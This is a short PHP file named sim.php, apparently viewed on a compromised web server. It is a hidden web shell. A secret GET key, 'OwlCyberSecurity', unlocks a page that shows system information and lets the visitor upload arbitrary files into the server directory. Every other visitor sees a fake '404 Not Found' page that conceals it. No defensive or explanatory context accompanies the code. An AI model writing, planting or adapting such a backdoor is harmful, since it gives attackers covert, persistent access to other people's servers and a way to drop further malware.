View file File name : sim.php Content :<?php error_reporting(E_ERROR | E_PARSE); if ($_GET["key"] == "OwlCyberSecurity"){ echo "<b>OwlCyberSecurity</b><br>"; echo '<b>System Info:</b> '.php_uname(); echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Successfully!</b><br><br>'; }else { echo 'Failed!</b><br><br>'; }} }else{ $domain = $_SERVER['SERVER_NAME']; echo'<html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body></html>';} ?>